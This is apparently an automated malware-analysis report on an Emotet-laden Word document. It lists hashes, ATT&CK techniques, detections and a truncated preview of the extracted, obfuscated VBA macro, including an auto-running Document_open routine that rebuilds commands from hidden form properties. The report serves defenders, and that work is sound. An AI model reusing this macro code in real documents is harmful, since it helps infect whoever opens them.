Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a534c06252033c8a…

MALICIOUS

Office (OLE)

189.5 KB Created: 2019-12-16 21:32:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 228c4abf10e1700c13e417f05c1dc4c5 SHA-1: 0da1e1dc8ae1895277d48367fdc65f6ec31ec9b8 SHA-256: a534c06252033c8ab6f305f0c9f44ab16703cc48c0ef7b6247fedcef9d776f0e
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate T1071.001 Web Protocols

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of Emotet's typical behavior. The heuristics suggest the macro is designed to download and execute a second-stage payload. ClamAV also identifies the file as Emotet. The obfuscated nature of the VBA code, using split/join and variable reads, points to an attempt to deobfuscate and execute malicious code.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7464371-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464371-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7885 bytes
SHA-256: 21cc29f0de2466284c9128418972570ac2340020e21b245e52b669fc17a08b6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Babbqmlcj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Cmikwaluujqn, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Kthhfohlzqdrn, Zlwsdiorbr
For Zcurqqmkrmj = Jfctszscdefbb To Vbfpdxhifzm
         Hsmblwud = Isjowxopooxpp
         Hybwwtgxsvls = Hex(Fgmjdwxtjll)
         Xmdrcfhexs = Chr(Ecurskfkajh)
         Lkwnpplfk = Odimxlhoet - Ccqafhjoesmr
         Qicvkttjco = Mobtfmlpulyp
         Bugvrrqmuzlji = Hex(Tzcymuum)
         Zffqfknqms = Int(Hxkcauci)
Next
   Dim Zqrqtwqmoicf, Wmzesnfklywll
For Updayskts = Cggerbte To Nxrwppftth
         Fusyfcelt = Rkydhgvsghw
         Mdjdeazgqxbm = Hex(Wqarrhgamqly)
         Odxiozmbsahth = Chr(Mwrvozcg)
         Ymmrsrgna = Ztxmguxakyz - Zutdyymxhcpnz
         Iafgsnndtihee = Hypmsyxcp
         Prqhyglxr = Hex(Temlrauquisc)
         Ynrbkypemyv = Int(Jatgovofla)
Next
   Dim Mimsbias, Xuuztqdthotha
For Vaqgooyypzh = Vagcxipkthp To Bedjfiidfik
         Jyvezlzmx = Rjroecsbt
         Uvguzinpsw = Hex(Zrppidnedxv)
         Rtydpitjxeaxe = Chr(Yholatrxpmky)
         Ixaoyhppmdow = Nosdqvfv - Rczvjqfknp
         Zigfcjvlw = Qjaughkomo
         Whtgwxdjsngoj = Hex(Twaynnqjmi)
         Ddabsjljxjdyn = Int(Tcdmljvqrmqd)
Next
Dnrpxhnpigyiz
End Sub

Attribute VB_Name = "Gpohsrakivot"
Attribute VB_Base = "0{CB1AFFFE-DD07-4103-ADDB-9C1DA6F10761}{F7A96450-1BAC-492B-9A79-5CD49B7694EA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Nyunlmwq"
Function Yslysiwbq()
   Dim Tpwszfkexwj, Ddgdattue
For Nsxkgijmmbe = Rsoyrnbnmifk To Zlcvphgehhay
         Xkfyrllhevc = Dbjszhpja
         Pfonkhxtz = Hex(Bcgtmhrhhsz)
         Dxpbqzdw = Chr(Jlxyxxxjqrnzh)
         Vistcnpdl = Swcalsadxh - Ujjjijpdqd
         Qkdyltilokfbg = Uydoxfzyj
         Huvgwoagj = Hex(Csezdukeicr)
         Enoxqrmuggln = Int(Oqaahfewk)
Next
Pyqoaqkph = Babbqmlcj.Cmikwaluujqn
   Dim Sufhidnnau, Wfqdimyvtildd
For Uwslbsohkobl = Pbjhhccgl To Scsjjbehlsqh
         Fhxfpgbuo = Bvvypoles
         Wxamxeroyta = Hex(Ueavhsxo)
         Ifijwefd = Chr(Olafcjxczfoat)
         Loqwakci = Houvktpjfnje - Yuuoiohmpflq
         Qllcenvuc = Myqngthtxyf
         Ahkvzpkteit = Hex(Gzhxesnz)
         Ryjmexrilvx = Int(Czunxvipxtemh)
Next
Wxnolvnz = Pyqoaqkph + Gpohsrakivot.Ckthgdwwsbeb + Gpohsrakivot.Laqsmtwrvgn + Gpohsrakivot.Rvyvcuib
   Dim Vyesjekdq, Pergxfojl
For Hozffpgak = Elngzhugj To Eggrywchljop
         Seyvwqfvhag = Fgoehsoktzo
         Ydyypvwrhd = Hex(Mxniyflfgw)
         Egwdfzfkemrcx = Chr(Kxzydstvva)
         Tdldbdbtiysm = Lgzfkkptahgyw - Lbccelhtjq
         Pdlenpfhnvqpr = Cdwcgwjw
         Jdmemqoloaq = Hex(Tirxwqkn)
         Kepmntzg = Int(Odmscbfbede)
Next
Apxdfxefhgcwh = Wxnolvnz + Gpohsrakivot.Xvdyrplk + Gpohsrakivot.Pvjgydaafuu
   Dim Mjqrjhxtla, Uwptcfxrq
For Vvguyakqngf = Pzlwwwvad To Kxuyebms
         Uwcmztbjrxpk = Ctauuhosr
         Aflmltmcku = Hex(Jxcuqlfkz)
         Vlasycgbewc = Chr(Pxfedizjzkr)
         Mxglwlnppbkb = Esymhzoetgbhq - Wajuhpivt
         Kyzwvcpiurb = Xcheajouai
         Bggkvxfl = Hex(Pfwlzshspvb)
         Eheujlwjqgvuv = Int(Ztvmuimchpkwm)
Next
Yslysiwbq = Fceoxxobnri + Apxdfxefhgcwh + Fceoxxobnri
   Dim Bqfrcgnxk, Qvymrccrajoaa
For Qdtykrkfw = Fhdqfewcaioz To Zmkwmpfcupjem
         Fpchzwuoj = Eyozcegake
         Kpmdnngbsw = Hex(Slrnaexasblh)
         Mfxlozfgssmt = Chr(Dbshatgq)
         Zghzqidfptaa = Hxpmtzbhy - Rjegtnwtflisf
         Ohdnacxlac = Xmrshkbzzzyw
         Hyuyfkwj = Hex(Dkwvtxdeptzg)
         Aidrkoihiwvz = Int(Xtxnbyox)
Next
End Function
Function Dnrpxhnpigyiz()
   Dim Frzmzbrgy, Siydzxcrwpgz
For Uhzmuxukm = Tddudyjinxqh To Axkqszrt
         Trudaxi
... (truncated)

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